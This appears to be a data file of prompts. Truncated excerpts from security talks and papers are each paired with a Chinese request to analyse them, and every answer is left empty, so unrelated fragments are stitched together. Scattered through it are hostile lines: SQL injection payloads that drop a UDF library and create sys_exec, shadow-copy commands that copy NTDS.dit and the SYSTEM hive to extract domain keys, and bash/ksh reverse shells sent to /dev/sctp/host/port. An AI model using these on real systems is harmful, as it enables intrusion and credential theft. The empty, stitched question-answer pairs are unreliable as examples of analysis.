conducting SQL Injection attack
 Blackhat Amsterdam 2009, Bernando Damele demonstrated remote code
execution performed through SQL injection on platforms with stacked
query
 Today I will demonstrate how to conduct remote code execution through
SQL injection without stacked query
 MySQL-PHP are widely use but stacked query is not allowed by default to
security reason
4
 Abusing stacked queries on MySQL
query.aspx?id=21; create table temp(a blob); insert into temp
values (‘0x789c……414141’)--
query.aspx?id=21; update temp set a = replace (a, ‘414141’,
query.aspx?id=21; update temp set a = replace (a, ‘414141’,
9775…..71’)--
query.aspx?id=21; select a from temp into dumpfile
‘/var/lib/mysql/lib/udf.so’--
query.aspx?id=21; create function sys_exec RETURNS int
SONAME 'udf.so‘--
5
 Stacked query table
ASP.NET
ASP
PHP
MySQL
Supported
Not supported
Not Supported
MySQL
Supported
Not supported
Not Supported
MSSQL
Supported
Supported
Supported
Postgresql
Supported
Supported
Supported
6
 Remote code execution on MySQL-PHP
 Traditionally, simple PHP shell is used to execute command
 Command is executed as a web server user only
 Weak and has no strong functionality
 We need a reliable shell!
 Metasploit contains variety of shellcodes
 Meterpreter shellcode for post exploitation process
 VNC shellcode for GUI access on the host
7
 File read/write access on MySQL-PHP platform
 SELECT .. LOAD_INFILE is used to r...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

An ACE Up the Sleeve
Designing Active Directory DACL Backdoors
Andy Robbins and Will Schroeder
SpecterOps
@_wald0
▪ ...
▪ Job: Adversary Resilience Lead at
SpecterOps
▪ Co-founder/developer: BloodHound
▪ Trainer: BlackHat 2016
▪ Presenter: DEF CON, DerbyCon, ekoparty,
Paranoia, ISSA Intl, ISC2 World Congress,
various Security BSides
▪ Other: ask me about ACH
@harmj0y
▪ Job: Offensive Engineer at SpecterOps
▪ Co-founder/developer: Veil-Framework,
Empire/EmPyre, PowerView/PowerUp,
BloodHound, KeeThief
▪ Trainer: BlackHat 2014-2016
▪ Presenter: DEF CON, DerbyCon, ShmooCon,
Troopers, BlueHat Israel, various BSides
▪ Other: PowerSploit developer and Microsoft
PowerShell MVP
tl;dr
▪ DACL/ACE Background
▪ Enumeration of AD DACLs
▪ DACL Misconfiguration and Abuse
▪ Analysis with BloodHound
▪ Designing ACL Based Backdoors
▪ Case Studies and Demos
▪ Defenses
Disclaimer
▪ There is no exploit/CVE/whatnot here, just
ways to purposely implement Active Directory
DACL misconfigurations
▪ These backdoors are post-elevation
techniques that require some type of
elevated access to the objects you’re
manipulating
Why Care?
▪
It’s often difficult to determine whether a specific
AD DACL misconfiguration was set maliciously or
configured by accident
▪
These changes also have a minimal forensic
footprint and often survive OS and domain
functional level upgrades
□
This makes them a great chance for subtle, long-term
domain persistence!
▪
These may have been in your environment for
YEARS!
“As an offensive researcher,
if you can dream it,
someone has likely already
done it...and that someone
isn’t the kind of person who
speaks at security cons”
Matt Graeber
“Abusing Windows Management Instrumentation
(WMI) to Build a Persistent, Asynchronous, and
Fileless Backdoor” - BlackHat 2015
Background
From ACLs to ACEs
1.
https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/
Previous Work
Previous Work
https://www.sstic.org/2014/presentation/chemins_de...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
WO
IN THE UNITED STATES DISTRICT COURT
FOR THE DISTRICT OF ARIZONA
MDY Industries, LLC,
Plaintiff/Counterdefendant,
vs.
Blizzard Entertainment, Inc.; and
Vivendi Games, Inc.,
Defendants/Counterclaimants.
_________________________________
Blizzard Entertainment, Inc.; and
Vivendi Games, Inc.,
Third-Party Plaintiffs,
vs.
Michael Donnelly,
Third-Party Defendant.
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
No. CV-06-2555-PHX-DGC
ORDER AND
PERMANENT INJUNCTION
This case concerns the World of Warcraft computer game (“WoW”) and a software
program known as Glider that plays WoW for its owners while those owners are away from
their computer keyboards.   MDY Industries, Inc. (“MDY”), the owner and distributor of
Glider, sought a declaratory judgment that Glider does not infringe rights owned by Blizzard
Entertainment, Inc. and Vivendi Games, Inc. (collectively, “Blizzard”), the owners and
distributors of WoW.  Dkt. #5.  Blizzard filed a counterclaim and a third-party complaint
against Michael Donnelly, the founder of MDY.  Blizzard asserted seven claims:  tortious
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 2 -
interference with contract, contributory copyright infringement, vicarious copyright
infringement, violation of the Digital Millennium Copyright Act (“DMCA”), trademark
infringement, unfair competition, and unjust enrichment.  Dkt. #10.
The Court granted in part the parties’ summary judgment motions.  The Court held
MDY liable to Blizzard for tortious interference with contract, contributory copyright
infringement, and vicarious copyright infringement.  The Court granted summary judgment
to MDY on the portion of Blizzard’s claim based on the DMCA that applied to Blizzard’s
game client software code.  The Court also granted summary judgment in favor of MDY on
Blizzard’s unfair competition claim.  Dkt. #82.
Blizzard filed a motion for a permanent injunction ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

How we recovered
$XXX,000 of Bitcoin from an
encrypted zip file
Michael Stay, PhD
CTO, Pyrofex Corp.
DEF CON 2020
Technion - Computer Science Department - Technical Report  CS0842 - 1994
ZIP Attacks with Reduced Known Plaintext
Michael Stay
AccessData Corporation
2500 N. University Ave. Ste. 200
Provo, UT 84606
staym@accessdata.com
Abstract. Biham and Kocher demonstrated that the PKZIP stream ci-
pher was weak and presented an attack requiring thirteen bytes of plain-
text. The deﬂate algorithm “zippers” now use to compress the plaintext
before encryption makes it diﬃcult to get known plaintext. We consi-
der the problem of reducing the amount of known plaintext by ﬁnding
other ways to ﬁlter key guesses. In most cases we can reduce the amo-
unt of known plaintext from the archived ﬁle to two or three bytes,
depending on the zipper used and the number of ﬁles in the archive.
For the most popular zippers on the Internet, there is a fast attack
that does not require any information about the ﬁles in the archive;
instead, it gets doubly-encrypted plaintext by exploiting a weakness in
the pseudorandom-number generator.
1
Introduction
PKZIP is a compression / archival program created by Phil Katz. Katz had the
foresight to document his ﬁle format completely in the ﬁle APPNOTE.TXT,
distributed with every copy of PKZIP; there are now literally hundreds of “zip-
per” programs available, and the ZIP ﬁle format has become a de facto standard
on the Internet.
In [BK94] Biham and Kocher demonstrated that the PKZIP stream cipher
was weak and presented an attack requiring thirteen bytes of plaintext. Eight
bytes of the plaintext must be contiguous, and all of the bytes must be the
text that was encrypted, which is usually compressed data. [K92] shows that
the compression method used at the time, implode, produces many predictable
bytes suitable for mounting the attack.
Most zippers available today implement only one of the compression methods
deﬁned in APPNOTE.TXT, called de...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
strace抓取ssh登录凭证的问题
起因是在p⽜的知识星球⾥有师傅提问到这个问题：
关于https://xz.aliyun.com/t/7698⼀⽂中提到的⽤strace抓取ssh密码的⽅法。以前看到有⼈提到抓密
码可以但是抓私钥不能登录这个问题，但是也没做实验，只是简单的以为是抓取的私钥不完整之类，没有
深究。后来⼀个师傅提到这个私钥根本不是⽤来登录的，所以就研究了⼀下。
因为ssh中⽤密码登录的时候，虽然传来的请求会通过公钥加密，但是在服务端对密码有⼀个解密过程，如
下图所示。
所以在服务端是有可能抓到密码的。
为什么能抓到密码
为什么抓不到密钥
2
⽤密钥登录的时候，服务端会⽣成⼀个随机的字符串，然后⽤公钥加密这个字符串发给客户端，然后客户
端解密，最后服务端再去对⽐客户端解密的结果是否正确。下图仅作为说明，细节不⼀定完全符合。
这个过程中根本不存在客户端的私钥传递的过程，所以是不可能抓到登录私钥的。
总结就是，可以抓密码，抓不到私钥。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SECURITY
1
Rate-limiting State
The edge of the Internet is an unruly place
Paul Vixie, Farsight Security
By design, the Internet core is stupid, and the edge is smart. This design decision has enabled the
Internet’s wildcat growth, since without complexity the core can grow at the speed of demand. On
the downside, the decision to put all smartness at the edge means we’re at the mercy of scale when
it comes to the quality of the Internet’s aggregate trafﬁc load. Not all device and software builders
have the skills—and the quality assurance budgets—that something the size of the Internet deserves.
Furthermore, the resiliency of the Internet means that a device or program that gets something
importantly wrong about Internet communication stands a pretty good chance of working “well
enough” in spite of its failings.
Witness the hundreds of millions of CPE (customer-premises equipment) boxes with literally
too much memory for buffering packets. As Jim Gettys and Dave Taht have been demonstrating
in recent years, more is not better when it comes to packet memory.1 Wireless networks in homes
and coffee shops and businesses all degrade shockingly when the trafﬁc load increases. Rather than
the “fair-share” scheduling we expect, where N network ﬂows will each get roughly 1/Nth of the
available bandwidth, network ﬂows end up in quicksand where they each get 1/(N2) of the available
bandwidth. This isn’t because CPE designers are incompetent; rather, it’s because the Internet is a big
place with a lot of subtle interactions that depend on every device and software designer having the
same—largely undocumented—assumptions.
Witness the endless stream of patches and vulnerability announcements from the vendors of
literally every smartphone, laptop, or desktop operating system and application. Bad guys have
the time, skills, and motivation to study edge devices for weaknesses, and they are ﬁnding as
many weaknesses as they need to inject malicious code into our pr...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© Caendra Inc. 2020
All Rights Reserved
Web Application
Penetration Testing
eXtreme
Encod%69ng and
/^Filtering$/
S e c t i o n  0 1  |  M o d u l e  0 1
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
Table of Contents
MODULE 01 | ENCOD%69NG AND /^FILTERING$/
1.1 Data Encoding Basics
1.2 Filtering Basics
|   p.2
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
Learning Objectives
In this module we will talk about different types of data
encoding.
We will see how to recognize, encode, and decode
several different formats as well as discuss filters and
how  they work.
|   p.3
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
1.1
Data Encoding
Basics
|  p.4
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
Even though web applications have different purposes,
technologies, etc., the use of data encoding is something
that cannot be neglected.
From a penetration testing point of view, understanding
what kind of data encoding is being used and how it works
is fundamental in ensuring that the tests are performed as
intended.
1.1 Data Encoding Basics
|  p.5
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
Let’s briefly analyze the main types of data encoding used
in web-oriented applications:
•
URL encoding
•
HTML encoding
•
Base (32|64) encoding
•
Unicode encoding
1.1.1 Dissecting Encoding Types
|  p.6
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
http://tools.ietf.org/html/rfc3986#section-2.1
As stated in RFC 3986, URLs sent over the Internet must
contain characters in the range of the US-ASCII code
character set.  If unsafe characters are present in a URL,
encoding them is required.
The URL-encoding, or percent-encoding, replaces
characters outside the allowed set with a "%" followed by
the two hexadecimal digits representing the numeric value
of the octet.
1.1.1.1 URL Encoding
|  p.7
WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020
http://perishablepress.com/stop-using-unsafe-characters-in-urls/
The table shown here is a simple char...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
Hellaphone: Replacing the Java in Android
John Floren
Sandia National Labs
July 2012
Collaborators: Joshua Landgraf, Joel Armstrong
Sandia National Laboratories is a multi-program laboratory managed and operated by Sandia Corporation, a wholly owned subsidiary of Lockheed Martin Corporation, for the U.S.
Department of Energy’s National Nuclear Security Administration under contract DE-AC03-94AL85000. SAND 2012-5278C.
Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
Biography
• Computer engineer by training (RIT)
• Been interested in operating systems since high school
• Work for Sandia National Labs, California
• High performance computing
• Mobile
• Security
• I like open source and Sandia is down with that
• Goal: open up as much of my work as possible
Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
Smartphones
• Totally ruling the world
• A computer in my pocket? Awesome!
• It can make phone calls too?
• Nifty sensors: camera, GPS, accelerometer
• Read email, browse the web, take pictures, get driving
directions, play games
• Manage your passwords, 2 factor auth, Google Wallet
Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
Why smartphones kinda suck
• Blackberry, iPhone, Windows: all closed-source
• RIM will decrypt your messages for the government [6][5]
• iPhone
• Tracks your movements [1]
• DoS attack via SMS [2]
• Windows
• Nobody has one!
• DoS’d via SMS [7]
• CarrierIQ [3]
Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
But Android is still cool, right?
• Linux-based
• Open-source
• Tons of devices (phones, tablets, laptops)
• Write your own applications–no developer fees, no market
fees!
• You can hack the OS if you want
• Big community of developers and OS hackers
Hellaphone
John Floren
Introduction
Android
Inferno
Bibliography
Android kinda sucks too
• I have to program in WHAT?
• Vendors have no incentive to update the OS
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BLACK OPS OF TCP/IP
Spliced NAT2NAT And Other
Packet-Level Misadventures
Dan Kaminsky, CISSP
DoxPara Research
www.doxpara.com
Where I‟m Coming From…
 Black Hat 2001
 Impossible Tunnels through Improbable Networks
with OpenSSH
 Getting Out:
ProxyCommands for Non-TCP comm layers
 HTTP, SOCKS, UDP, Packet Radio*, AIM/Yahoo*
 Coming In:
Active Connection Brokering for NAT2NAT
 One host exports SSHD to broker
 Other host imports access from broker
 Passing Through:
Dynamic Forwarding for Psuedo-VPN Work
 Web Browsing, Dialpad(Split-H323), etc.
Interesting Problems
 Instant Portscan
 “Is it possible to discover instantaneously what network
services have been made available, even on massive
networks?”
 Guerrila Multicast
 “Is it possible to send a single packet to multiple
recipients, using today‟s multicast-free Internet?”
 “NATless NAT”
 “Is it possible to share a globally addressable IP address
without translating private IP ranges a la NAT?”
 Is it possible to allow incoming connections to an IP
multiplexed in this manner?
 NAT Deadlock Resolution
 “Is it possible to establish a TCP connection between
two hosts, both behind NATs?”
On Possibility
 Restraint Free Engineering
 “Abandon All Practicality, Ye Who Enter Here”
 “It‟s amazing what you can do once security is no
longer a concern.”
 You‟ve got what you‟ve got.  Make interesting
things happen.
 It might end up practical.
 It might end up secure.
 Right now, it‟s impossible.  Fix that first.
 Maybe.
ObThreeWayHandshakeIntro
Connection Request (Alice -> Bob)
 SYN:  I want to talk to you
Connection Response (Bob -> Alice)
 SYN|ACK:  OK, lets talk.
 RST|ACK: I ain‟t listening
Connection Initiation (Alice -> Bob)
 ACK: OK, beginning conversation.
What Do You Want?
 Port Ranges
 Local Port:  What application requested the
connection.  Usually a random number, 0-65535.
 0 is a valid port
 Remote Port:  What application accepted the
connection.  Usually a “known number”
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

How To Make Friends
How To Make Friends
&
&
Influence Lock Manufacturers
Influence Lock Manufacturers
Schuyler Towne & Jon King
Schuyler Towne & Jon King
DEFCON 16, 2008
DEFCON 16, 2008
Reviewing this on the DEFCON 16 DVD? Be sure to check ndemag.com/DC16 for updates.
Much of the material covered in this talk is on-going. This document has been prepared more
than a month prior to publication. Any omissions or inaccuracies in this version will have to be
forgiven. Please consult the current version for accurate information. Thank you.
07/06/08
2
LOCK-AND-KEY:
LOCK-AND-KEY:
n. The distinguishing device of
n. The distinguishing device of
civilization and enlightenment.
civilization and enlightenment.
  –
– Ambrose Bierce
Ambrose Bierce
6/30/08
3
Let's Talk
RoboKey System:
 Developed with the locksport community
Kwikset / Weiser's Smartkey
Responded to bumping with complete redesign
ABUS Plus
Fixed flaw found by lockpicker & issued new challenge
Medeco
Worked with Jon King to mutually release exploit
Q&A / Super-secret announcement
07/06/08
4
The RoboKey System
John Laughlin with Barry Wels of TOOOL
“It's easy to love your own baby,
but we wanted to get this out
to the community. We
figured they wouldn't
be shy about telling us
what was wrong with it.”
 –John Laughlin,
Stanton Concepts
“It's easy to love your own baby,
but we wanted to get this out
to the community. We
figured they wouldn't
be shy about telling us
what was wrong with it.”
 –John Laughlin,
Stanton Concepts
07/06/08
5
Background
John & Bob Laughlin
John was a communications engineer
Bob was a retired lock engineer
When telcom bust John started working with his father
Inspiration
Both have a healthy interest in security
World more interested in security than ever before
Opportunity to address a lot of areas that hadn't
received the scrutiny they were due
How can we secure containers that have to change
hands multiple times / survive tough environments
07/06/08
6
Basic Operation
Dis...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

June 22, 2011
i
Copyright 2011, Electronic Grymoire LLC
:
Bruce Barnett
<deception@grymoire.com>
June 22, 2011
ii
Copyright 2011, Electronic Grymoire LLC
Contents
Introduction ................................................................................................................ 1
Similarities between Magicians and Hackers ...................................................... 1
The Magician’s Arsenal ............................................................................................. 2
Physical techniques or Props .............................................................................. 2
The Gaff ................................................................................................................ 3
The Fake ............................................................................................................... 3
The Gimmick ....................................................................................................... 3
Human Accessories ............................................................................................... 3
Stooge.................................................................................................................... 4
Unwitting  Accomplice ...................................................................................... 4
Psychological techniques ..................................................................................... 4
Appearance of normalcy .................................................................................. 4
Misdirection ......................................................................................................... 5
The Sleight ........................................................................................................... 5
The Feint............................................................................................................... 5
The Bluff ..........................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Internal Server Error:
Exploiting Inter-Process Communication in
SAP's HTTP Server
Martin Doyhenard
Security Researcher @
Onapsis
●
Business Processes software
○
Operations
○
Financials
○
Human Capital
○
Customer Relationship
○
Supply Chain
●
Over 400,000+ Customers (90% Fortune-500)
●
Based on Web Services through HTTP (Java and ABAP)
●
Proprietary HTTP Server: Internet Communication Manager
https://meritotech.com/wp-content/uploads/2022/01/SAP-Imag.jpg
Internet Communication Manager
●
Handles all communication of the SAP System with its clients and the outside world
●
Protocols: HTTP, P4, IIOP, SMTP and others
●
HTTP present by default in all SAP installations (Java, ABAP, WebDispatcher, S/4Hana)
ICM HTTP WorkFlow
ICM Worker
Thread
JAVA / ABAP
Process
HTTP Parser
HTTP Handlers
CLIENT
Memory Pipe
HTTP Request
HTTP Request
ICM Memory Pipes
●
MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
●
Requests/Responses are placed in Shared Memory and accessed using MPI pointers
●
MPI Buffers are ﬁxed size (2^16 by default) and are reserved and freed by a Worker Thread
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT
I/O Handler
GET / HTTP/1.1
….
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
Free MPI Buffer
GET / HTTP/1.1
HTTP/1.1 OK
MPI Buffer
HTTP/1.1 OK
ICM WT
I/O Handler
HTTP/1.1 OK
….
ICM HTTP WorkFlow
●
MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
●
Requests/Responses are placed in Shared Memory and accessed using MPI pointers
●
MPI Buffers are ﬁxed size (2^16 by default) and are reserved and freed by a Worker Thread
ICM WT
Java / ABAP
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
Free MPI Buffer
Free MPI Buffer
HTTP/1.1 OK
ICM WT
I/O Handler
H...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

通过将keytab导入wireshark中实现对
Kerberos协议加密部分进行直接解包
        本文主要记录了如何通过一些列操作，将生成的keytab导入wireshark，实现可以在wireshark中直
接对Kerberos协议加密部分进行解密的一个过程，避免大家踩坑。
        keytab是可以理解为一个密钥表，是key table的缩写，用途类似于用户的密码，keytab中包含一个
或多个条目，每个条目包含一个条目创建时的时间戳，主体名，密钥版本号，加密类型以及密钥本身。
具体关于keytab的信息可以上MIT的Kerberos实现网站上具体查看，这里只大概介绍。
具体操作过程如下：
1.在域控中复制出一份ntds.dit文件，这里用卷影复制的方法，复制的时候要和自己的卷影副本卷名对
应。
2.复制system.hive文件。
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit
C:\ntds.dit
1
2
复制完成后删除之前创建的卷影副本。
3.整一个esedbexport程序，下载地址https://github.com/libyal/libesedb，可以在各种平台编译，我这
里在Ubuntu机器上编译，不容易出错，Windows编译太麻烦了。
如果都比较顺利的话，可以在/usr/local/bin下找到esedbexport命令。
        这里做一下知识扩展。
        这里我们要先了解的是，ntds.dit文件是一种ESE数据库文件，而ESE即Extensible Storage
Engine ，可扩展存储引擎，是微软提出的一种数据存储技术，文件后缀是.edb，Windows内使用ESE存
储的有Microsoft Exchange Server，Active Directory，Windows Search，Windows Update，Help
and Support  Center。这里的esedbexport可以理解为将ntds.dit文件内的表进行了一个导出。如果想
直接查看ESE数据库文件，可以使用ESEDatabaseVies，使用ESEDatabaseVies也可以进行一个导出。
4.将复制出来的ntds.dit以及system.hive复制到Linux中，我这里复制到了/usr/local/bin下，并执行命
令，可以将ntds.dit导出成多个文件，文件会存放在当前目录的ntds.dit.export目录内。
reg save hklm\system system.hive
或者
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM
C:\system.hiv
1
2
3
vssadmin delete shadow /all
1
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-
experimental-20210424.tar.gz
tar -xzvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424/
sudo apt-get install autoconf automake autopoint libtool pkg-config
#安装依赖包
./configure
make
make install
sudo ldconfig
1
2
3
4
5
6
7
8
9
esedbexport ntds.dit
1
5.使用NTDSXtract导出需要的keytab。
执行后即可生成1.keytab文件。
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/
python dskeytab.py ../ntds.dit.export/datatable.3
../ntds.dit.export/link_table.5 ../system.hive /usr/local/bin/ntdsxtract/
1.keytab
#datatable以及link_table都是esedbexport处理过ntds.dit之后存在ntds.dit.export中的文
件
#system.hive 是之前导出的文件
#/usr...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ISC 2019 第七届互联网安全大会
郑文彬
360集团首席安全技术官、伏尔甘团队创始人
追踪NSA网络武器的那些年
扫码添加小鹅助理，与数万科技圈人士
分享重量级活动PPT、干货培训课程、高端会议免费
门票
小鹅助理
扫码添加小鹅助理，与数万科技圈人士
分享重量级活动PPT、干货培训课程、高端会议免费门票
小鹅助理
谢谢！


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

普通人的GPT免费交流社群
在社群中你会获得：
•
定期分享国内可直接免费使用的ChatGPT镜像网址
•
最适合你的ChatGPT、MidJourney使用教程及的高阶玩法
•
AI人工智能、ChatGPT、AIGC等最新研报（超过100份）和相关资讯
•
不定期分享ChatGPT变现案例
•
和各路大神畅聊Al、不定期邀请行业大咖演讲互动交流学习
关注公众号
加入交流群


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advanced
API Security
OAuth 2.0 and Beyond
—
Second Edition
—
Prabath Siriwardena
Advanced API Security
OAuth 2.0 and Beyond
Second Edition
Prabath Siriwardena
Advanced API Security: OAuth 2.0 and Beyond
ISBN-13 (pbk): 978-1-4842-2049-8
ISBN-13 (electronic): 978-1-4842-2050-4
https://doi.org/10.1007/978-1-4842-2050-4
Copyright © 2020 by Prabath Siriwardena
This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part of the
material is concerned, specifically the rights of translation, reprinting, reuse of illustrations, recitation,
broadcasting, reproduction on microfilms or in any other physical way, and transmission or information
storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar methodology now
known or hereafter developed.
Trademarked names, logos, and images may appear in this book. Rather than use a trademark symbol with
every occurrence of a trademarked name, logo, or image we use the names, logos, and images only in an
editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the
trademark.
The use in this publication of trade names, trademarks, service marks, and similar terms, even if they are not
identified as such, is not to be taken as an expression of opinion as to whether or not they are subject to
proprietary rights.
While the advice and information in this book are believed to be true and accurate at the date of publication,
neither the authors nor the editors nor the publisher can accept any legal responsibility for any errors or
omissions that may be made. The publisher makes no warranty, express or implied, with respect to the
material contained herein.
Managing Director, Apress Media LLC: Welmoed Spahr
Acquisitions Editor: Jonathan Gennick
Development Editor: Laura Berendson
Coordinating Editor: Jill Balzano
Cover image designed by Freepik (www.freepik.com)
Distributed to the book trade worldwide by Sprin...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Nathan
  Hamiel
Principal
  Consultant
Associate
  Professor
  at
  UAT
Marcin
  Wielgoszewski
Security
  Engineer
•  Reliance
  on
  tools
  can
  =
  Fail!
– Many
  more
  people
  tes4ng
  web
  apps
– Vendors
  play
  catch-‐up
– Success
  is
  on
  your
  shoulders
•  Diﬃcult
  cases
– APIs
  and
  specialized
  data
  formats
– Sequenced
  opera4ons
– Randomized
  data
•  Language
  speciﬁc
– Object-‐oriented
– Byte
  compiled
– Fast
•  Wide
  support
– Many
  security
  tools
  wriLen
  in
  Python
– Plenty
  of
  help
  available
– Plenty
  of
  resources
  for
  learning
  available
w3af
SpikeProxy
sqlmap
ProxyStrike
wapi4
sulley
Peach
Canvas
Pyscan
DeBlaze
Scapy
MonkeyFist
Pcapy
MyNav
Idapython
•  CPython
– hLp://python.org
•  Jython
– hLp://jython.org
•  IronPython
– hLp://ironpython.net
•  Start
  with
  hLp://python.org
– hLp://docs.python.org/
– hLp://docs.python.org/tutorial/index.html
•  Google’s
  Python
  Class
– hLp://code.google.com/edu/languages/google-‐
python-‐class/
•  There
  are
  diﬀerences
  between
  Python
  2.x
  and
3.x
•  Walk
  like
  a
  duck
  and
  quack
  like
  a
  duck
Standard
  Lib
•  hLplib
•  urllib
  /
  urllib2
•  urlparse
•  HTMLParser
•  struct
•  xml
•  json
  (Python
  2.6)
•  diﬄib
3rd
  Party
•  hLplib2
•  lxml
•  zsi
  /
  suds
•  PyAMF
•  pydermonkey
•  Twisted
•  hLplib
– Standard
  HTTP
  Module
– Good
  for
  GETs
  and
  POSTs
– HTTP
  /
  HTTPS
  support
•  hLplib2
– Expanded
  HTTP
  method
  support
– Supports
  various
  auth
  methods
– Automa4cally
  follows
  3xx
  redirects
•  urllib
– High
  level
  module
  for
  opening
  resources
– Has
  URL
  encoding
  capabili4es
•  urllib2
– Expanded
  support
  for
  handlers
•  Merged
  in
  Python
  3
  along
  with
  urlparse
•  Examples
•  Perform
  transi4on
  ma...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

w
waarrddrriivviinngg  tthhee  ssm
maarrtt  ggrriidd
::::  pprraaccttiiccaall  aapppprrooaacchheess
ttoo  aattttaacckkiinngg  uuttiilliittyy  ppaacckkeett  rraaddiiooss  ::::
sshhaawwnn  m
mooyyeerr
aanndd
nnaatthhaann  kkeellttnneerr
D
DeeffC
Coonn  0000001100001100
DEF CON 00010010
Moyer / Keltner :: Wardriving the Smart Grid
Page 2
This page intentionally left blank.
DEF CON 00010010
Moyer / Keltner :: Wardriving the Smart Grid
Page 3
This page intentionally left blank, too.
DEF CON 00010010
Moyer / Keltner :: Wardriving the Smart Grid
Page 4
This page wasn't supposed to be blank.
 Not sure what happened there. Plz advise.
DEF CON 00010010
Moyer / Keltner :: Wardriving the Smart Grid
Page 5
"The truth is also that a well-placed squirrel can wreak almost as much havoc as a cyber
attack on a power grid."
“Doctor” Charles Palmer, Director, Institute for Advanced Security, IBM, June 2010
“We must find this well-placed squirrel, and ensure that it never falls into the hands of our
enemies.”
Shawn Moyer, esq, The Internet, June 2010
DEF CON 00010010
Moyer / Keltner :: Wardriving the Smart Grid
Page 6
If you haven't just emerged from a coma, you probably have some idea of the multifaceted
attack surface that the inevitable modernization of power transmission and distribution is
rapidly introducing.
What you may not be thinking about just yet, though, is the path much of that attack surface
travels on... The air around you.
 So where do we start? The "Smart Grid" itself is pretty well understood at this point,
and I won't bore you by linking to some Wikipedia article or other and describing it.
At the end of the day it's pretty simple: Utilities have been operating more or less in the dark,
or at least at a macro-level, for a long time now, with no real idea of load or usage beyond (at
best) a neighborhood or substantion level. The price paid for that lack of visibility is clear as
well: brownouts and blackouts caused by unexp...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apt install lksctp-tools
modprobe sctp
lsmod | grep sctp
checksctp

run SCTP server in one terminal,
sctp_darn -H 0 -P 2500 -l
sctpshell
0x00
0x01
run SCTP client in another terminal,
sctp_darn -H 0 -P 2600 -h 127.0.0.1 -p 2500 -s

0x02

sudo apt-get install ksh
/bin/bash -i > /dev/sctp/host/port 2>&1 0>&1 //bash
/bin/ksh -i > /dev/sctp/host/port 2>&1 0>&1 //ksh
0x03 shell

0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Pregnancy Panopticon
Cooper Quintin, Staff Technologist, EFF
July 2017
Defcon 25
ELECTRONIC FRONTIER FOUNDATION
EFF.ORG              1
Table of Contents
Abstract
3
Methods
3
MITM Proxy
4
Jadx and Android Studio
4
Kryptowire
4
Security Issues
5
Code execution and content injection
5
Account Hijacking
6
Unencrypted Requests
6
Privacy Issues
6
Third Party Trackers
6
Pin Locks
8
Unauthenticated Email
8
Information Leaks
9
Files Not Deleted
9
Permissions
10
Conclusion
10
Acknolwledgements
11
Appendix A - Permissions requested by each app
12
Appendix B. - Further Notes
13
ELECTRONIC FRONTIER FOUNDATION
EFF.ORG              2
Abstract
Women’s health is big business. There are a staggering
number of applications for Android and iOS which claim
to help people keep track of their monthly cycle, know
when they may be fertile, or track the status of their
pregnancy. These apps entice the user to input the most
intimate details of their lives, such as their mood, sexual
activity, physical activity, physical symptoms, height,
weight, and more. But how private are these apps, and
how secure are they in fact? After all, if an app has such
intimate details about our private lives, it would make
sense to ensure that it is not sharing those details with
anyone, such as another company or an abusive family
member. To this end, EFF and Gizmodo reporter
Kashmir Hill have taken a look at some of the privacy and
security properties of nearly twenty different fertility and
pregnancy tracking applications. While this is not a
comprehensive investigation of these applications by any
means, we did uncover several privacy issues, some
notable security flaws, and a few interesting security
features in the applications we examined. We conclude
that while these applications may be fun to use, and in some cases useful to the people who need
